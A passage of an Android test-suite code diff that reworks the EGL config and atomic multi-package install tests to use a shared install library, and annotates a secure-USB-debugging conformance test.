+        assertTrue(configIds.length + configIds2.length > 0);
+        mFinishedTesting = new CountDownLatch(configIds.length + configIds2.length);
+        try {
+            runConfigTests(configIds, 1);
+            runConfigTests(configIds2, 2);
+        } catch (InterruptedException e) {
+            Log.e(TAG, "Caught exception");
         }
     }
 
     @Override
     protected void onResume() {
         super.onResume();
-        mView.onResume();
+        if (mView != null)
+        {
+            mView.onResume();
+        }
     }
 
     @Override
     protected void onPause() {
         super.onPause();
-        mView.onPause();
+        if (mView != null)
+        {
+            mView.onPause();
+        }
     }
 
-    public void waitToFinishDrawing() throws InterruptedException {
-        if (!mFinishedDrawing.await(3, TimeUnit.SECONDS)) {
-            throw new IllegalStateException("Coudn't finish drawing frames!");
+    private void runConfigTests(int[] configIds, int contextClientVersion)
+            throws InterruptedException {
+        Context context = this;
+        Thread thread = new Thread() {
+            @Override
+            public void run() {
+                for (int configId : configIds) {
+                    mFinishedDrawing = new CountDownLatch(1);
+
+                    runOnUiThread(new Runnable() {
+                        @Override
+                        public void run() {
+                            setTitle("EGL Config Id: " + configId + " Client Version: " + contextClientVersion);
+                            mView = new EglConfigGLSurfaceView(context, configId, contextClientVersion, new Runnable() {
+                                @Override
+                                public void run() {
+                                    mFinishedDrawing.countDown();
+                                }
+                            });
+                            setContentView(mView);
+                        }
+                    });
+
+                    try {
+                        waitToFinishDrawing();
+                    } catch (Exception e) {
+                        Log.e(TAG, "Timed out!");
+                    }
+
+                    mFinishedTesting.countDown();
+                }
+            }
+        };
+        thread.start();
+    }
+
+    private void waitToFinishDrawing() throws InterruptedException {
+        if (!mFinishedDrawing.await(5, TimeUnit.SECONDS)) {
+            throw new IllegalStateException("Couldn't finish drawing frames!");
+        }
+    }
+
+    void waitToFinishTesting() throws InterruptedException {
+        if (!mFinishedTesting.await(300, TimeUnit.SECONDS)) {
+            throw new IllegalStateException("Couldn't finish testing!");
+        }
+    }
+
+    private static int[] getEglConfigIds(int renderableType) {
+        EGL10 egl = (EGL10) EGLContext.getEGL();
+        EGLDisplay display = egl.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);
+        int[] numConfigs = new int[1];
+
+        int[] attributeList = new int[] {
+                EGL10.EGL_RENDERABLE_TYPE, renderableType,
+
+                // Avoid configs like RGBA0008 which crash even though they have the window bit set.
+                EGL10.EGL_RED_SIZE, 1,
+                EGL10.EGL_GREEN_SIZE, 1,
+                EGL10.EGL_BLUE_SIZE, 1,
+
+                EGL10.EGL_SURFACE_TYPE, EGL10.EGL_WINDOW_BIT,
+                EGL10.EGL_NONE
+        };
+
+        if (egl.eglInitialize(display, null)) {
+            try {
+                if (egl.eglChooseConfig(display, attributeList, null, 0, numConfigs)) {
+                    EGLConfig[] configs = new EGLConfig[numConfigs[0]];
+                    if (egl.eglChooseConfig(display, attributeList, configs, configs.length,
+                            numConfigs)) {
+                        int[] configIds = new int[numConfigs[0]];
+                        for (int i = 0; i < numConfigs[0]; i++) {
+                            int[] value = new int[1];
+                            if (egl.eglGetConfigAttrib(display, configs[i], EGL10.EGL_CONFIG_ID,
+                                    value)) {
+                                configIds[i] = value[0];
+                            } else {
+                                throw new IllegalStateException("Couldn't call eglGetConfigAttrib");
+                            }
+                        }
+                        return configIds;
+                    } else {
+                        throw new IllegalStateException("Couldn't call eglChooseConfig (1)");
+                    }
+                } else {
+                    throw new IllegalStateException("Couldn't call eglChooseConfig (2)");
+                }
+            } finally {
+                egl.eglTerminate(display);
+            }
+        } else {
+            throw new IllegalStateException("Couldn't initialize EGL.");
         }
     }
 }
diff --git a/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java b/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
index 3e5565e..613456a 100644
--- a/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/EglConfigTest.java
@@ -25,6 +25,7 @@
 import androidx.test.filters.LargeTest;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
+import static androidx.test.internal.util.Checks.checkState;
 
 import org.junit.Before;
 import org.junit.Rule;
@@ -36,14 +37,16 @@
 import javax.microedition.khronos.egl.EGLContext;
 import javax.microedition.khronos.egl.EGLDisplay;
 
+import android.util.Log;
+import java.lang.Runnable;
+
 /**
  * Test that gets a list of EGL configurations and tries to use each one in a GLSurfaceView.
  */
 @LargeTest
 @RunWith(AndroidJUnit4.class)
 public class EglConfigTest {
-    private static final int EGL_OPENGL_ES_BIT = 0x1;
-    private static final int EGL_OPENGL_ES2_BIT = 0x4;
+    private final String TAG = this.getClass().getSimpleName();
 
     private Instrumentation mInstrumentation;
 
@@ -58,75 +61,11 @@
 
     @Test
     public void testEglConfigs() throws Exception {
-        int[] configIds = getEglConfigIds(EGL_OPENGL_ES_BIT);
-        int[] configIds2 = getEglConfigIds(EGL_OPENGL_ES2_BIT);
-        assertTrue(configIds.length + configIds2.length > 0);
-        runConfigTests(configIds, 1);
-        runConfigTests(configIds2, 2);
-    }
-
-    private void runConfigTests(int[] configIds, int contextClientVersion)
-            throws InterruptedException {
-        for (int configId : configIds) {
-            Intent intent = new Intent(InstrumentationRegistry.getTargetContext(),
-                    EglConfigCtsActivity.class);
-            intent.putExtra(EglConfigCtsActivity.CONFIG_ID_EXTRA, configId);
-            intent.putExtra(EglConfigCtsActivity.CONTEXT_CLIENT_VERSION_EXTRA,
-                    contextClientVersion);
-            EglConfigCtsActivity activity = mActivityRule.launchActivity(intent);
-            activity.waitToFinishDrawing();
-            // TODO(b/30948621): Remove the sleep below once b/30948621 is fixed.
-            Thread.sleep(500);
-            activity.finish();
-            mInstrumentation.waitForIdleSync();
-        }
-    }
-
-    private static int[] getEglConfigIds(int renderableType) {
-        EGL10 egl = (EGL10) EGLContext.getEGL();
-        EGLDisplay display = egl.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);
-        int[] numConfigs = new int[1];
-
-        int[] attributeList = new int[] {
-                EGL10.EGL_RENDERABLE_TYPE, renderableType,
-
-                // Avoid configs like RGBA0008 which crash even though they have the window bit set.
-                EGL10.EGL_RED_SIZE, 1,
-                EGL10.EGL_GREEN_SIZE, 1,
-                EGL10.EGL_BLUE_SIZE, 1,
-
-                EGL10.EGL_SURFACE_TYPE, EGL10.EGL_WINDOW_BIT,
-                EGL10.EGL_NONE
-        };
-
-        if (egl.eglInitialize(display, null)) {
-            try {
-                if (egl.eglChooseConfig(display, attributeList, null, 0, numConfigs)) {
-                    EGLConfig[] configs = new EGLConfig[numConfigs[0]];
-                    if (egl.eglChooseConfig(display, attributeList, configs, configs.length,
-                            numConfigs)) {
-                        int[] configIds = new int[numConfigs[0]];
-                        for (int i = 0; i < numConfigs[0]; i++) {
-                            int[] value = new int[1];
-                            if (egl.eglGetConfigAttrib(display, configs[i], EGL10.EGL_CONFIG_ID,
-                                    value)) {
-                                configIds[i] = value[0];
-                            } else {
-                              throw new IllegalStateException("Couldn't call eglGetConfigAttrib");
-                            }
-                        }
-                        return configIds;
-                    } else {
-                        throw new IllegalStateException("Couldn't call eglChooseConfig (1)");
-                    }
-                } else {
-                    throw new IllegalStateException("Couldn't call eglChooseConfig (2)");
-                }
-            } finally {
-                egl.eglTerminate(display);
-            }
-        } else {
-            throw new IllegalStateException("Couldn't initialize EGL.");
-        }
+        Intent intent = new Intent(InstrumentationRegistry.getTargetContext(),
+                EglConfigCtsActivity.class);
+        EglConfigCtsActivity activity = mActivityRule.launchActivity(intent);
+        activity.waitToFinishTesting();
+        activity.finish();
+        mInstrumentation.waitForIdleSync();
     }
 }
diff --git a/tests/tests/os/TEST_MAPPING b/tests/tests/os/TEST_MAPPING
index ad2a688..c1541b5 100644
--- a/tests/tests/os/TEST_MAPPING
+++ b/tests/tests/os/TEST_MAPPING
@@ -8,9 +8,6 @@
         },
         {
           "exclude-filter": "android.os.cts.StrictModeTest#testNonSdkApiUsage"
-        },
-        {
-          "exclude-filter": "android.os.cts.UsbDebuggingTest#testUsbDebugging"
         }
       ]
     }
diff --git a/tests/tests/os/src/android/os/cts/UsbDebuggingTest.java b/tests/tests/os/src/android/os/cts/UsbDebuggingTest.java
index 60583e7..2951648 100644
--- a/tests/tests/os/src/android/os/cts/UsbDebuggingTest.java
+++ b/tests/tests/os/src/android/os/cts/UsbDebuggingTest.java
@@ -18,11 +18,13 @@
 
 import android.os.Build;
 import android.os.SystemProperties;
+import android.platform.test.annotations.RestrictedBuildTest;
 import android.test.AndroidTestCase;
 import java.io.File;
 
 public class UsbDebuggingTest extends AndroidTestCase {
 
+    @RestrictedBuildTest
     public void testUsbDebugging() {
         // Secure USB debugging must be enabled
         assertEquals("1", SystemProperties.get("ro.adb.secure"));
diff --git a/tests/tests/packageinstaller/atomicinstall/Android.bp b/tests/tests/packageinstaller/atomicinstall/Android.bp
index 1762edc..8b24ee5 100644
--- a/tests/tests/packageinstaller/atomicinstall/Android.bp
+++ b/tests/tests/packageinstaller/atomicinstall/Android.bp
@@ -18,20 +18,19 @@
     srcs:  ["src/**/*.java"],
 
     java_resources:  [
-        ":AtomicInstallTestAppAv1",
-        ":AtomicInstallTestAppAv2",
-        ":AtomicInstallTestAppBv1",
         ":AtomicInstallCorrupt"
     ],
     static_libs: [
         "androidx.test.runner",
         "truth-prebuilt",
+	"cts-install-lib",
     ],
     sdk_version: "test_current",
     test_suites: [
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
 }
 
@@ -40,28 +39,3 @@
     srcs: ["testdata/apk/prebuilt/corrupt.apk"],
     path: "testdata/apk/prebuilt"
 }
-
-android_test_helper_app {
-    name: "AtomicInstallTestAppAv1",
-
-    srcs:   ["testdata/apk/src/**/*java"],
-
-    manifest:   "testdata/apk/Av1.xml",
-}
-
-android_test_helper_app {
-    name: "AtomicInstallTestAppAv2",
-
-    srcs:   ["testdata/apk/src/**/*java"],
-
-    manifest:   "testdata/apk/Av2.xml",
-}
-
-android_test_helper_app {
-    name: "AtomicInstallTestAppBv1",
-
-    srcs:   ["testdata/apk/src/**/*java"],
-
-    manifest:   "testdata/apk/Bv1.xml",
-}
-
diff --git a/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml b/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml
index e0edcba..1f8f283 100644
--- a/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml
@@ -18,7 +18,7 @@
           package="com.android.tests.atomicinstall" >
 
     <application>
-        <receiver android:name="com.android.tests.atomicinstall.LocalIntentSender"
+        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
                   android:exported="true" />
         <uses-library android:name="android.test.runner" />
     </application>
diff --git a/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml b/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
index e248a62..5270823 100644
--- a/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
+++ b/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
@@ -19,6 +19,7 @@
     <!-- Instant apps can't have INSTALL_PACKAGES permission. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAtomicInstallTestCases.apk" />
diff --git a/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java b/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java
index f99ac2f..67051cc 100644
--- a/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java
+++ b/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java
@@ -16,41 +16,40 @@
 
 package com.android.tests.atomicinstall;
 
+import static com.android.cts.install.lib.InstallUtils.assertStatusSuccess;
+import static com.android.cts.install.lib.InstallUtils.getInstalledVersion;
+import static com.android.cts.install.lib.InstallUtils.openPackageInstallerSession;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.junit.Assert.fail;
 
 import android.Manifest;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageInfo;
 import android.content.pm.PackageInstaller;
-import android.content.pm.PackageManager;
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.LocalIntentSender;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
 
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.ArrayList;
-
 /**
  * Tests for multi-package (a.k.a. atomic) installs.
  */
 @RunWith(JUnit4.class)
 public class AtomicInstallTest {
 
-    private static final String TEST_APP_A = "com.android.tests.atomicinstall.testapp.A";
-    private static final String TEST_APP_B = "com.android.tests.atomicinstall.testapp.B";
-    public static final String TEST_APP_A_FILENAME = "AtomicInstallTestAppAv1.apk";
-    public static final String TEST_APP_A_V2_FILENAME = "AtomicInstallTestAppAv2.apk";
-    public static final String TEST_APP_B_FILENAME = "AtomicInstallTestAppBv1.apk";
     public static final String TEST_APP_CORRUPT_FILENAME = "corrupt.apk";
+    private static final TestApp CORRUPT_TESTAPP = new TestApp(
+            "corrupt", "com.corrupt", 1, false, TEST_APP_CORRUPT_FILENAME);
 
     private void adoptShellPermissions() {
         InstrumentationRegistry
@@ -64,8 +63,7 @@
     public void setup() throws Exception {
         adoptShellPermissions();
 
-        uninstall(TEST_APP_A);
-        uninstall(TEST_APP_B);
+        Uninstall.packages(TestApp.A, TestApp.B);
     }
 
     @After
@@ -78,149 +76,75 @@
 
     @Test
     public void testInstallTwoApks() throws Exception {
-        installMultiPackage(TEST_APP_A_FILENAME, TEST_APP_B_FILENAME);
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(1);
-        assertThat(getInstalledVersion(TEST_APP_B)).isEqualTo(1);
+        Install.multi(TestApp.A1, TestApp.B1).commit();
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.B)).isEqualTo(1);
     }
 
     @Test
     public void testInstallTwoApksDowngradeFail() throws Exception {
-        installMultiPackage(TEST_APP_A_V2_FILENAME, TEST_APP_B_FILENAME);
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(2);
-        assertThat(getInstalledVersion(TEST_APP_B)).isEqualTo(1);
+        Install.multi(TestApp.A2, TestApp.B1).commit();
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(2);
+        assertThat(getInstalledVersion(TestApp.B)).isEqualTo(1);
 
-        final PackageInstaller.SessionParams parentSessionParams =
-                createSessionParams(/*staged*/false, /*multipackage*/true,
-                        /*enableRollback*/ false, /*inherit*/false);
-        final int parentSessionId = createSessionId(/*apkFileName*/null, parentSessionParams);
-        final PackageInstaller.Session parentSession = getSessionOrFail(parentSessionId);
-        for (String apkFile : new String[]{
-                TEST_APP_A_FILENAME, TEST_APP_B_FILENAME}) {
-            final PackageInstaller.SessionParams childSessionParams =
-                    createSessionParams(/*staged*/false, /*multipackage*/false,
-                            /*enableRollback*/ false, /*inherit*/false);
-            final int childSessionId =
-                    createSessionId(apkFile, childSessionParams);
-            parentSession.addChildSessionId(childSessionId);
-        }
-        parentSession.commit(LocalIntentSender.getIntentSender());
-
-        final Intent intent = LocalIntentSender.getIntentSenderResult();
-        assertStatusFailure(intent, "INSTALL_FAILED_VERSION_DOWNGRADE");
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(2);
-        assertThat(getInstalledVersion(TEST_APP_B)).isEqualTo(1);
+        InstallUtils.commitExpectingFailure(AssertionError.class,
+                "INSTALL_FAILED_VERSION_DOWNGRADE", Install.multi(TestApp.A1, TestApp.B1));
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(2);
+        assertThat(getInstalledVersion(TestApp.B)).isEqualTo(1);
     }
 
     @Test
     public void testFailInconsistentMultiPackageCommit() throws Exception {
         // Test inconsistency in staged settings
-        for (boolean staged : new boolean[]{false, true}) {
-            final PackageInstaller.SessionParams parentSessionParams =
-                    createSessionParams(/*staged*/staged, /*multipackage*/true,
-                            /*enableRollback*/false, /*inherit*/false);
-            final int parentSessionId =
-                    createSessionId(/*apkFileName*/null, parentSessionParams);
-            // Create a child session that differs in the staged parameter
-            final PackageInstaller.SessionParams childSessionParams =
-                    createSessionParams(/*staged*/!staged, /*multipackage*/false,
-                            /*enableRollback*/false, /*inherit*/false);
-            final int childSessionId =
-                    createSessionId("AtomicInstallTestAppAv1.apk", childSessionParams);
+        Install parentStaged = Install.multi(Install.single(TestApp.A1)).setStaged();
+        Install childStaged = Install.multi(Install.single(TestApp.A1).setStaged());
 
-            final PackageInstaller.Session parentSession = getSessionOrFail(parentSessionId);
-            parentSession.addChildSessionId(childSessionId);
-            parentSession.commit(LocalIntentSender.getIntentSender());
-            assertStatusFailure(LocalIntentSender.getIntentSenderResult(),
-                    "inconsistent staged settings");
-            assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
-        }
+        assertInconsistentStagedSettings(parentStaged);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        assertInconsistentStagedSettings(childStaged);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
 
         // Test inconsistency in rollback settings
-        for (boolean enableRollback : new boolean[]{false, true}) {
-            final PackageInstaller.SessionParams parentSessionParams =
-                    createSessionParams(/*staged*/false, /*multipackage*/true,
-                            /*enableRollback*/enableRollback, /*inherit*/false);
-            final int parentSessionId =
-                    createSessionId(/*apkFileName*/null, parentSessionParams);
-            // Create a child session that differs in the staged parameter
-            final PackageInstaller.SessionParams childSessionParams =
-                    createSessionParams(/*staged*/false, /*multipackage*/false,
-                            /*enableRollback*/!enableRollback, /*inherit*/false);
-            final int childSessionId =
-                    createSessionId("AtomicInstallTestAppAv1.apk", childSessionParams);
+        Install parentEnabledRollback = Install.multi(Install.single(TestApp.A1))
+                .setEnableRollback();
+        Install childEnabledRollback = Install.multi(
+                Install.single(TestApp.A1).setEnableRollback());
 
-            final PackageInstaller.Session parentSession = getSessionOrFail(parentSessionId);
-            parentSession.addChildSessionId(childSessionId);
-            parentSession.commit(LocalIntentSender.getIntentSender());
-            assertStatusFailure(LocalIntentSender.getIntentSenderResult(),
-                    "inconsistent rollback settings");
-            assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
-        }
+        assertInconsistentRollbackSettings(parentEnabledRollback);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        assertInconsistentRollbackSettings(childEnabledRollback);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
     }
 
     @Test
     public void testChildFailurePropagated() throws Exception {
-        final PackageInstaller.SessionParams parentSessionParams =
-                createSessionParams(/*staged*/false, /*multipackage*/true,
-                        /*enableRollback*/ false, /*inherit*/false);
-        final int parentSessionId =
-                createSessionId(/*apkFileName*/null, parentSessionParams);
-        final PackageInstaller.Session parentSession = getSessionOrFail(parentSessionId);
-
         // Create a child session that "inherits" from a non-existent package. This
         // causes the session commit to fail with a PackageManagerException.
-        final PackageInstaller.SessionParams childSessionParams =
-                createSessionParams(/*staged*/false, /*multipackage*/false,
-                        /*enableRollback*/ false, /*inherit*/true);
-        final int childSessionId =
-                createSessionId("AtomicInstallTestAppAv1.apk", childSessionParams);
-        parentSession.addChildSessionId(childSessionId);
-        parentSession.commit(LocalIntentSender.getIntentSender());
+        Install childInstall = Install.single(TestApp.A1).setSessionMode(
+                PackageInstaller.SessionParams.MODE_INHERIT_EXISTING);
+        Install parentInstall = Install.multi(childInstall);
 
-        final Intent intent = LocalIntentSender.getIntentSenderResult();
-        assertStatusFailure(intent, "Missing existing base package");
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
+        InstallUtils.commitExpectingFailure(AssertionError.class, "Missing existing base package",
+                parentInstall);
+
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
     }
 
     @Test
     public void testEarlyFailureFailsAll() throws Exception {
-        final PackageInstaller.SessionParams parentSessionParams =
-                createSessionParams(/*staged*/false, /*multipackage*/true,
-                        /*enableRollback*/ false, /*inherit*/false);
-        final int parentSessionId = createSessionId(/*apkFileName*/null, parentSessionParams);
-        final PackageInstaller.Session parentSession = getSessionOrFail(parentSessionId);
-        for (String apkFile : new String[]{
-                TEST_APP_A_FILENAME, TEST_APP_B_FILENAME, TEST_APP_CORRUPT_FILENAME}) {
-            final PackageInstaller.SessionParams childSessionParams =
-                    createSessionParams(/*staged*/false, /*multipackage*/false,
-                            /*enableRollback*/ false, /*inherit*/false);
-            final int childSessionId =
-                    createSessionId(apkFile, childSessionParams);
-            parentSession.addChildSessionId(childSessionId);
-        }
-        parentSession.commit(LocalIntentSender.getIntentSender());
-
-        final Intent intent = LocalIntentSender.getIntentSenderResult();
-        assertStatusFailure(intent, "Failed to parse");
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
-        assertThat(getInstalledVersion(TEST_APP_B)).isEqualTo(-1);
+        InstallUtils.commitExpectingFailure(AssertionError.class, "Failed to parse",
+                Install.multi(TestApp.A1, TestApp.B1, CORRUPT_TESTAPP));
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.B)).isEqualTo(-1);
     }
 
     @Test
     public void testInvalidStateScenarios() throws Exception {
-        final PackageInstaller.SessionParams parentSessionParams =
-                createSessionParams(/*staged*/false, /*multipackage*/true,
-                        /*enableRollback*/false, /*inherit*/ false);
-        final int parentSessionId = createSessionId(/*apkFileName*/null, parentSessionParams);
-        final PackageInstaller.Session parentSession = getSessionOrFail(parentSessionId);
+        int parentSessionId = Install.multi(TestApp.A1, TestApp.B1).createSession();
+        PackageInstaller.Session parentSession = openPackageInstallerSession(parentSessionId);
 
-        final PackageInstaller.SessionParams childSessionParams =
-                createSessionParams(/*staged*/false, /*multipackage*/false,
-                        /*enableRollback*/false, /*inherit*/ false);
-        for (String apkFileName : new String[]{TEST_APP_A_FILENAME, TEST_APP_B_FILENAME}) {
-            final int childSessionId = createSessionId(apkFileName, childSessionParams);
-            parentSession.addChildSessionId(childSessionId);
-            PackageInstaller.Session childSession = getSessionOrFail(childSessionId);
+        for (int childSessionId : parentSession.getChildSessionIds()) {
+            PackageInstaller.Session childSession = openPackageInstallerSession(childSessionId);
             try {
                 childSession.commit(LocalIntentSender.getIntentSender());
                 fail("Should not be able to commit a child session!");
@@ -234,8 +158,8 @@
                 // ignore
             }
         }
-        int toAbandonSessionId = createSessionId(TEST_APP_A_FILENAME, childSessionParams);
-        PackageInstaller.Session toAbandonSession = getSessionOrFail(toAbandonSessionId);
+        int toAbandonSessionId = Install.single(TestApp.A1).createSession();
+        PackageInstaller.Session toAbandonSession = openPackageInstallerSession(toAbandonSessionId);
         toAbandonSession.abandon();
         try {
             parentSession.addChildSessionId(toAbandonSessionId);
@@ -244,140 +168,19 @@
             // ignore
         }
 
-        // Commit the session (this will start the installation workflow).
         parentSession.commit(LocalIntentSender.getIntentSender());
         assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
     }
 
-    private static long getInstalledVersion(String packageName) {
-        Context context = InstrumentationRegistry.getContext();
-        PackageManager pm = context.getPackageManager();
-        try {
-            PackageInfo info = pm.getPackageInfo(packageName, 0);
-            return info.getLongVersionCode();
-        } catch (PackageManager.NameNotFoundException e) {
-            return -1;
-        }
+    private static void assertInconsistentStagedSettings(Install install) {
+        assertInconsistentSettings("inconsistent staged settings", install);
     }
 
-    private static void installMultiPackage(String... resources) throws Exception {
-        final PackageInstaller.SessionParams parentSessionParams =
-                createSessionParams(/*staged*/false, /*multipackage*/true,
-                        /*enableRollback*/false, /*inherit*/ false);
-        final int parentSessionId = createSessionId(/*apkFileName*/null, parentSessionParams);
-        final PackageInstaller.Session parentSession = getSessionOrFail(parentSessionId);
-
-        ArrayList<Integer> childSessionIds = new ArrayList<>(resources.length);
-        for (String apkFileName : resources) {
-            final PackageInstaller.SessionParams childSessionParams =
-                    createSessionParams(/*staged*/false, /*multipackage*/false,
-                            /*enableRollback*/false, /*inherit*/ false);
-            final int childSessionId = createSessionId(apkFileName, childSessionParams);
-            childSessionIds.add(childSessionId);
-            parentSession.addChildSessionId(childSessionId);
-
-            PackageInstaller.Session childSession = getSessionOrFail(childSessionId);
-            assertThat(childSession.getParentSessionId()).isEqualTo(parentSessionId);
-            assertThat(getSessionInfoOrFail(childSessionId).getParentSessionId())
-                    .isEqualTo(parentSessionId);
-        }
-        assertThat(parentSession.getChildSessionIds()).asList().containsAllIn(childSessionIds);
-        assertThat(getSessionInfoOrFail(parentSessionId).getChildSessionIds()).asList()
-                .containsAllIn(childSessionIds);
-
-        // Commit the session (this will start the installation workflow).
-        parentSession.commit(LocalIntentSender.getIntentSender());
-        assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
+    private static void assertInconsistentRollbackSettings(Install install) {
+        assertInconsistentSettings("inconsistent rollback settings", install);
     }
 
-    private static PackageInstaller.SessionParams createSessionParams(
-            boolean staged, boolean multiPackage, boolean enableRollback, boolean inherit) {
-        final int sessionMode = inherit
-                ? PackageInstaller.SessionParams.MODE_INHERIT_EXISTING
-                : PackageInstaller.SessionParams.MODE_FULL_INSTALL;
-        final PackageInstaller.SessionParams params =
-                new PackageInstaller.SessionParams(sessionMode);
-        if (staged) {
-            params.setStaged();
-        }
-        if (multiPackage) {
-            params.setMultiPackage();
-        }
-        params.setEnableRollback(enableRollback);
-        return params;
-    }
-
-    private static int createSessionId(String apkFileName, PackageInstaller.SessionParams params)
-            throws Exception {
-        final PackageInstaller packageInstaller = InstrumentationRegistry.getContext()
-                .getPackageManager().getPackageInstaller();
-        final int sessionId = packageInstaller.createSession(params);
-        if (apkFileName == null) {
-            return sessionId;
-        }
-        final PackageInstaller.Session session = packageInstaller.openSession(sessionId);
-        try (OutputStream packageInSession = session.openWrite(apkFileName, 0, -1);
-            final InputStream is =
-                AtomicInstallTest.class.getClassLoader().getResourceAsStream(
-                    apkFileName)) {
-            final byte[] buffer = new byte[4096];
-            int n;
-            while ((n = is.read(buffer)) >= 0) {
-                packageInSession.write(buffer, 0, n);
-            }
-        }
-        return sessionId;
-    }
-
-    private static PackageInstaller.Session getSessionOrFail(int sessionId) throws Exception {
-        final PackageInstaller packageInstaller = InstrumentationRegistry.getContext()
-                .getPackageManager().getPackageInstaller();
-        return packageInstaller.openSession(sessionId);
-    }
-
-    private static PackageInstaller.SessionInfo getSessionInfoOrFail(int sessionId)
-            throws Exception {
-        final PackageInstaller packageInstaller = InstrumentationRegistry.getContext()
-                .getPackageManager().getPackageInstaller();
-        return packageInstaller.getSessionInfo(sessionId);
-    }
-
-    private static void assertStatusSuccess(Intent result) {
-        final int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
-                PackageInstaller.STATUS_FAILURE);
-        if (status == -1) {
-            throw new AssertionError("PENDING USER ACTION");
-        } else if (status > 0) {
-            String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
-            throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
-        }
-    }
-
-    private static void assertStatusFailure(Intent result, String errorMessage) {
-        final int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
-            PackageInstaller.STATUS_FAILURE);
-        if (status == -1) {
-            throw new AssertionError("PENDING USER ACTION");
-        } else if (status == 0) {
-            throw new AssertionError("Installation unexpectedly succeeded!");
-        }
-        final String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
-        if (message == null || !message.contains(errorMessage)) {
-            throw new AssertionError("Unexpected failure:" +
-                    (message == null ? "UNKNOWN" : message));
-        }
-    }
-
-    private static void uninstall(String packageName) throws Exception {
-        // No need to uninstall if the package isn't installed.
-        if (getInstalledVersion(packageName) == -1) {
-            return;
-        }
-
-        final PackageInstaller packageInstaller = InstrumentationRegistry.getContext()
-                .getPackageManager().getPackageInstaller();
-        packageInstaller.uninstall(packageName, LocalIntentSender.getIntentSender());
-        // Don't care about status; this is just cleanup
-        LocalIntentSender.getIntentSenderResult();
+    private static void assertInconsistentSettings(String failMessage, Install install) {
+        InstallUtils.commitExpectingFailure(AssertionError.class, failMessage, install);
     }
 }
diff --git a/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/LocalIntentSender.java b/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/LocalIntentSender.java
deleted file mode 100644
index e015cd8..0000000
--- a/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/LocalIntentSender.java
+++ /dev/null
@@ -1,55 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.tests.atomicinstall;
-
-import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentSender;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.util.concurrent.BlockingQueue;
